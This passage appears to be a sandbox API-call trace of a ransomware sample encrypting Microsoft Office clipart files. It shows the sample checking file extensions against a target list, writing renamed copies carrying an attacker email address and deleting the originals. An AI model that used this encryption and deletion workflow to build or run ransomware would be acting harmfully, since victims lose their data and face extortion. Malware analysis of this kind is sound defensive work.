dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3a8 [0269.387] GetFileSizeEx (in: hFile=0x3a8, lpFileSize=0x30eff1c | out: lpFileSize=0x30eff1c*=7804) returned 1 [0269.387] CloseHandle (hObject=0x3a8) returned 1 [0269.387] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04267_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an04267_.wmf")) returned 0x20 [0269.387] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04267_.WMF.id-9C354B42.[crypt1style@aol.com].MERS" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an04267_.wmf.id-9c354b42.[crypt1style@aol.com].mers")) returned 0xffffffff [0269.387] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04267_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an04267_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3a8 [0269.387] SetFilePointerEx (in: hFile=0x3a8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x30efec8 | out: lpNewFilePointer=0x0) returned 1 [0269.387] SetFilePointerEx (in: hFile=0x3a8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x30efec8 | out: lpNewFilePointer=0x0) returned 1 [0269.388] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04267_.WMF.id-9C354B42.[crypt1style@aol.com].MERS" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an04267_.wmf.id-9c354b42.[crypt1style@aol.com].mers"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x408 [0269.388] GetLastError () returned 0x0 [0269.388] ReadFile (in: hFile=0x3a8, lpBuffer=0x3d90020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x30efed4, lpOverlapped=0x0 | out: lpBuffer=0x3d90020*, lpNumberOfBytesRead=0x30efed4*=0x1e7c, lpOverlapped=0x0) returned 1 [0269.458] WriteFile (in: hFile=0x408, lpBuffer=0x3d90020*, nNumberOfBytesToWrite=0x1e80, lpNumberOfBytesWritten=0x30efc9c, lpOverlapped=0x0 | out: lpBuffer=0x3d90020*, lpNumberOfBytesWritten=0x30efc9c*=0x1e80, lpOverlapped=0x0) returned 1 [0269.459] ReadFile (in: hFile=0x3a8, lpBuffer=0x3d90020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x30efed4, lpOverlapped=0x0 | out: lpBuffer=0x3d90020*, lpNumberOfBytesRead=0x30efed4*=0x0, lpOverlapped=0x0) returned 1 [0269.459] WriteFile (in: hFile=0x408, lpBuffer=0x3d90020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x30efc9c, lpOverlapped=0x0 | out: lpBuffer=0x3d90020*, lpNumberOfBytesWritten=0x30efc9c*=0xec, lpOverlapped=0x0) returned 1 [0269.459] SetEndOfFile (hFile=0x408) returned 1 [0269.459] CloseHandle (hObject=0x408) returned 1 [0269.459] SetFilePointerEx (in: hFile=0x3a8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x30efec8 | out: lpNewFilePointer=0x0) returned 1 [0269.459] SetEndOfFile (hFile=0x3a8) returned 1 [0269.462] CloseHandle (hObject=0x3a8) returned 1 [0269.462] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04267_.WMF.id-9C354B42.[crypt1style@aol.com].MERS", dwFileAttributes=0x20) returned 1 [0269.651] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04267_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an04267_.wmf")) returned 1 [0269.651] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04267_.WMF") returned 63 [0269.651] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04267_.WMF") returned 63 [0269.651] lstrlenW (lpString=".doc") returned 4 [0269.651] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0269.651] lstrlenW (lpString=".docx") returned 5 [0269.651] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0269.651] lstrlenW (lpString=".pdf") returned 4 [0269.651] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0269.651] lstrlenW (lpString=".xls") returned 4 [0269.651] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0269.651] lstrlenW (lpString=".xlsx") returned 5 [0269.651] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0269.651] lstrlenW (lpString=".ppt") returned 4 [0269.651] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0269.652] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04267_.WMF") returned 63 [0269.652] lstrlenW (lpString=".zip") returned 4 [0269.652] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0269.652] lstrlenW (lpString=".rar") returned 4 [0269.652] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0269.652] lstrlenW (lpString=".bz2") returned 4 [0269.652] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0269.652] lstrlenW (lpString=".7z") returned 3 [0269.652] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0269.652] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04267_.WMF") returned 63 [0269.652] lstrlenW (lpString=".dbf") returned 4 [0269.652] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0269.652] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04267_.WMF") returned 63 [0269.652] lstrlenW (lpString=".1cd") returned 4 [0269.652] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0269.652] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04267_.WMF") returned 63 [0269.652] lstrlenW (lpString=".jpg") returned 4 [0269.652] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0269.652] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04267_.WMF") returned 63 [0269.652] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04267_.WMF") returned 63 [0269.652] lstrlenW (lpString=".doc") returned 4 [0269.652] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0269.652] lstrlenW (lpString=".docx") returned 5 [0269.652] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0269.652] lstrlenW (lpString=".pdf") returned 4 [0269.652] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0269.652] lstrlenW (lpString=".xls") returned 4 [0269.652] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0269.652] lstrlenW (lpString=".xlsx") returned 5 [0269.652] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0269.653] lstrlenW (lpString=".ppt") returned 4 [0269.653] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0269.653] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04267_.WMF") returned 63 [0269.653] lstrlenW (lpString=".zip") returned 4 [0269.653] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0269.653] lstrlenW (lpString=".rar") returned 4 [0269.653] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0269.653] lstrlenW (lpString=".bz2") returned 4 [0269.653] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0269.653] lstrlenW (lpString=".7z") returned 3 [0269.653] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0269.653] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04267_.WMF") returned 63 [0269.653] lstrlenW (lpString=".dbf") returned 4 [0269.653] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0269.653] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04267_.WMF") returned 63 [0269.653] lstrlenW (lpString=".1cd") returned 4 [0269.653] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0269.653] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04267_.WMF") returned 63 [0269.653] lstrlenW (lpString=".jpg") returned 4 [0269.653] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0269.653] lstrcmpiW (lpString1=".WMF", lpString2=".MERS") returned 1 [0269.653] lstrlenW (lpString="AN04384_.WMF") returned 12 [0269.653] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04384_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an04384_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3e4 [0269.654] GetFileSizeEx (in: hFile=0x3e4, lpFileSize=0x30eff1c | out: lpFileSize=0x30eff1c*=4996) returned 1 [0269.654] CloseHandle (hObject=0x3e4) returned 1 [0269.654] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04384_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an04384_.wmf")) returned 0x20 [0269.654] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04384_.WMF.id-9C354B42.[crypt1style@aol.com].MERS" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an04384_.wmf.id-9c354b42.[crypt1style@aol.com].mers")) returned 0xffffffff [0269.654] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04384_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an04384_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3e4 [0269.654] SetFilePointerEx (in: hFile=0x3e4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x30efec8 | out: lpNewFilePointer=0x0) returned 1 [0269.654] SetFilePointerEx (in: hFile=0x3e4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x30efec8 | out: lpNewFilePointer=0x0) returned 1 [0269.654] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04384_.WMF.id-9C354B42.[crypt1style@aol.com].MERS" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an04384_.wmf.id-9c354b42.[crypt1style@aol.com].mers"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x410 [0269.655] GetLastError () returned 0x0 [0269.655] ReadFile (in: hFile=0x3e4, lpBuffer=0x3d90020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x30efed4, lpOverlapped=0x0 | out: lpBuffer=0x3d90020*, lpNumberOfBytesRead=0x30efed4*=0x1384, lpOverlapped=0x0) returned 1 [0270.407] WriteFile (in: hFile=0x410, lpBuffer=0x3d90020*, nNumberOfBytesToWrite=0x1390, lpNumberOfBytesWritten=0x30efc9c, lpOverlapped=0x0 | out: lpBuffer=0x3d90020*, lpNumberOfBytesWritten=0x30efc9c*=0x1390, lpOverlapped=0x0) returned 1 [0270.408] ReadFile (in: hFile=0x3e4, lpBuffer=0x3d90020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x30efed4, lpOverlapped=0x0 | out: lpBuffer=0x3d90020*, lpNumberOfBytesRead=0x30efed4*=0x0, lpOverlapped=0x0) returned 1 [0270.408] WriteFile (in: hFile=0x410, lpBuffer=0x3d90020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x30efc9c, lpOverlapped=0x0 | out: lpBuffer=0x3d90020*, lpNumberOfBytesWritten=0x30efc9c*=0xec, lpOverlapped=0x0) returned 1 [0270.408] SetEndOfFile (hFile=0x410) returned 1 [0270.416] CloseHandle (hObject=0x410) returned 1 [0270.416] SetFilePointerEx (in: hFile=0x3e4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x30efec8 | out: lpNewFilePointer=0x0) returned 1 [0270.416] SetEndOfFile (hFile=0x3e4) returned 1 [0270.426] CloseHandle (hObject=0x3e4) returned 1 [0270.426] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04384_.WMF.id-9C354B42.[crypt1style@aol.com].MERS", dwFileAttributes=0x20) returned 1 [0270.426] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04384_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an04384_.wmf")) returned 1 [0270.426] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04384_.WMF") returned 63 [0270.426] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04384_.WMF") returned 63 [0270.426] lstrlenW (lpString=".doc") returned 4 [0270.426] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0270.426] lstrlenW (lpString=".docx") returned 5 [0270.426] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0270.427] lstrlenW (lpString=".pdf") returned 4 [0270.427] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0270.427] lstrlenW (lpString=".xls") returned 4 [0270.427] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0270.427] lstrlenW (lpString=".xlsx") returned 5 [0270.427] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0270.427] lstrlenW (lpString=".ppt") returned 4 [0270.427] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0270.427] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04384_.WMF") returned 63 [0270.427] lstrlenW (lpString=".zip") returned 4 [0270.427] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0270.427] lstrlenW (lpString=".rar") returned 4 [0270.427] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0270.427] lstrlenW (lpString=".bz2") returned 4 [0270.427] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0270.427] lstrlenW (lpString=".7z") returned 3 [0270.427] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0270.427] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04384_.WMF") returned 63 [0270.427] lstrlenW (lpString=".dbf") returned 4 [0270.427] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0270.427] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04384_.WMF") returned 63 [0270.427] lstrlenW (lpString=".1cd") returned 4 [0270.427] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0270.427] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04384_.WMF") returned 63 [0270.427] lstrlenW (lpString=".jpg") returned 4 [0270.427] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0270.427] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04384_.WMF") returned 63 [0270.427] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04384_.WMF") returned 63 [0270.427] lstrlenW (lpString=".doc") returned 4 [0270.427] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0270.428] lstrlenW (lpString=".docx") returned 5 [0270.428] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0270.428] lstrlenW (lpString=".pdf") returned 4 [0270.428] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0270.428] lstrlenW (lpString=".xls") returned 4 [0270.428] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0270.428] lstrlenW (lpString=".xlsx") returned 5 [0270.428] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0270.428] lstrlenW (lpString=".ppt") returned 4 [0270.428] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0270.428] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04384_.WMF") returned 63 [0270.428] lstrlenW (lpString=".zip") returned 4 [0270.428] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0270.428] lstrlenW (lpString=".rar") returned 4 [0270.428] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0270.428] lstrlenW (lpString=".bz2") returned 4 [0270.428] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0270.428] lstrlenW (lpString=".7z") returned 3 [0270.428] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0270.428] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04384_.WMF") returned 63 [0270.428] lstrlenW (lpString=".dbf") returned 4 [0270.428] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0270.428] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04384_.WMF") returned 63 [0270.428] lstrlenW (lpString=".1cd") returned 4 [0270.428] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0270.428] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04384_.WMF") returned 63 [0270.428] lstrlenW (lpString=".jpg") returned 4 [0270.428] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0270.428] lstrcmpiW (lpString1=".WMF", lpString2=".MERS") returned 1 [0270.429] lstrlenW (lpString="BD00116_.WMF") returned 12 [0270.429] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD00116_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd00116_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3e4 [0270.429] GetFileSizeEx (in: hFile=0x3e4, lpFileSize=0x30eff1c | out: lpFileSize=0x30eff1c*=4870) returned 1 [0270.429] CloseHandle (hObject=0x3e4) returned 1 [0270.429] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD00116_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd00116_.wmf")) returned 0x20 [0270.430] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD00116_.WMF.id-9C354B42.[crypt1style@aol.com].MERS" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd00116_.wmf.id-9c354b42.[crypt1style@aol.com].mers")) returned 0xffffffff [0270.430] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD00116_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd00116_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3e4 [0270.430] SetFilePointerEx (in: hFile=0x3e4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x30efec8 | out: lpNewFilePointer=0x0) returned 1 [0270.430] SetFilePointerEx (in: hFile=0x3e4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x30efec8 | out: lpNewFilePointer=0x0) returned 1 [0270.430] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD00116_.WMF.id-9C354B42.[crypt1style@aol.com].MERS" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd00116_.wmf.id-9c354b42.[crypt1style@aol.com].mers"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x418 [0270.430] GetLastError () returned 0x0 [0270.430] ReadFile (in: hFile=0x3e4, lpBuffer=0x3d90020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x30efed4, lpOverlapped=0x0 | out: lpBuffer=0x3d90020*, lpNumberOfBytesRead=0x30efed4*=0x1306, lpOverlapped=0x0) returned 1 [0270.529] WriteFile (in: hFile=0x418, lpBuffer=0x3d90020*, nNumberOfBytesToWrite=0x1310, lpNumberOfBytesWritten=0x30efc9c, lpOverlapped=0x0 | out: lpBuffer=0x3d90020*, lpNumberOfBytesWritten=0x30efc9c*=0x1310, lpOverlapped=0x0) returned 1 [0270.530] ReadFile (in: hFile=0x3e4, lpBuffer=0x3d90020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x30efed4, lpOverlapped=0x0 | out: lpBuffer=0x3d90020*, lpNumberOfBytesRead=0x30efed4*=0x0, lpOverlapped=0x0) returned 1 [0270.530] WriteFile (in: hFile=0x418, lpBuffer=0x3d90020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x30efc9c, lpOverlapped=0x0 | out: lpBuffer=0x3d90020*, lpNumberOfBytesWritten=0x30efc9c*=0xec, lpOverlapped=0x0) returned 1 [0270.530] SetEndOfFile (hFile=0x418) returned 1 [0270.530] CloseHandle (hObject=0x418) returned 1 [0270.530] SetFilePointerEx (in: hFile=0x3e4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x30efec8 | out: lpNewFilePointer=0x0) returned 1 [0270.530] SetEndOfFile (hFile=0x3e4) returned 1 [0270.532] CloseHandle (hObject=0x3e4) returned 1 [0270.532] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD00116_.WMF.id-9C354B42.[crypt1style@aol.com].MERS", dwFileAttributes=0x20) returned 1 [0270.532] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD00116_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd00116_.wmf")) returned 1 [0270.532] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD00116_.WMF") returned 63 [0270.532] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD00116_.WMF") returned 63 [0270.532] lstrlenW (lpString=".doc") returned 4 [0270.532] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0270.532] lstrlenW (lpString=".docx") returned 5 [0270.532] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0270.532] lstrlenW (lpString=".pdf") returned 4 [0270.532] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0270.532] lstrlenW (lpString=".xls") returned 4 [0270.532] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0270.532] lstrlenW (lpString=".xlsx") returned 5 [0270.532] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0270.532] lstrlenW (lpString=".ppt") returned 4 [0270.532] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0270.533] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD00116_.WMF") returned 63 [0270.533] lstrlenW (lpString=".zip") returned 4 [0270.533] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0270.533] lstrlenW (lpString=".rar") returned 4 [0270.533] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0270.533] lstrlenW (lpString=".bz2") returned 4 [0270.533] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0270.533] lstrlenW (lpString=".7z") returned 3 [0270.533] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0270.533] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD00116_.WMF") returned 63 [0270.533] lstrlenW (lpString=".dbf") returned 4 [0270.533] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0270.533] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD00116_.WMF") returned 63 [0270.533] lstrlenW (lpString=".1cd") returned 4 [0270.533] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0270.533] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD00116_.WMF") returned 63 [0270.533] lstrlenW (lpString=".jpg") returned 4 [0270.533] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0270.533] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD00116_.WMF") returned 63 [0270.533] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD00116_.WMF") returned 63 [0270.533] lstrlenW (lpString=".doc") returned 4 [0270.533] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0270.533] lstrlenW (lpString=".docx") returned 5 [0270.533] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0270.533] lstrlenW (lpString=".pdf") returned 4 [0270.533] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0270.533] lstrlenW (lpString=".xls") returned 4 [0270.533] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0270.533] lstrlenW (lpString=".xlsx") returned 5 [0270.533] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0270.533] lstrlenW (lpString=".ppt") returned 4 [0270.533] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0270.533] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD00116_.WMF") returned 63 [0270.533] lstrlenW (lpString=".zip") returned 4 [0270.533] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0270.534] lstrlenW (lpString=".rar") returned 4 [0270.534] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0270.534] lstrlenW (lpString=".bz2") returned 4 [0270.534] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0270.534] lstrlenW (lpString=".7z") returned 3 [0270.534] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0270.534] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD00116_.WMF") returned 63 [0270.534] lstrlenW (lpString=".dbf") returned 4 [0270.534] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0270.534] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD00116_.WMF") returned 63 [0270.534] lstrlenW (lpString=".1cd") returned 4 [0270.534] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0270.534] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD00116_.WMF") returned 63 [0270.534] lstrlenW (lpString=".jpg") returned 4 [0270.534] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0270.534] lstrcmpiW (lpString1=".WMF", lpString2=".MERS") returned 1 [0270.534] lstrlenW (lpString="BD00146_.WMF") returned 12 [0270.534] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD00146_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd00146_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3e4 [0270.534] GetFileSizeEx (in: hFile=0x3e4, lpFileSize=0x30eff1c | out: lpFileSize=0x30eff1c*=28948) returned 1 [0270.534] CloseHandle (hObject=0x3e4) returned 1 [0270.534] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD00146_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd00146_.wmf")) returned 0x20 [0270.534] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD00146_.WMF.id-9C354B42.[crypt1style@aol.com].MERS" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd00146_.wmf.id-9c354b42.[crypt1style@aol.com].mers")) returned 0xffffffff [0270.536] CreateFileW 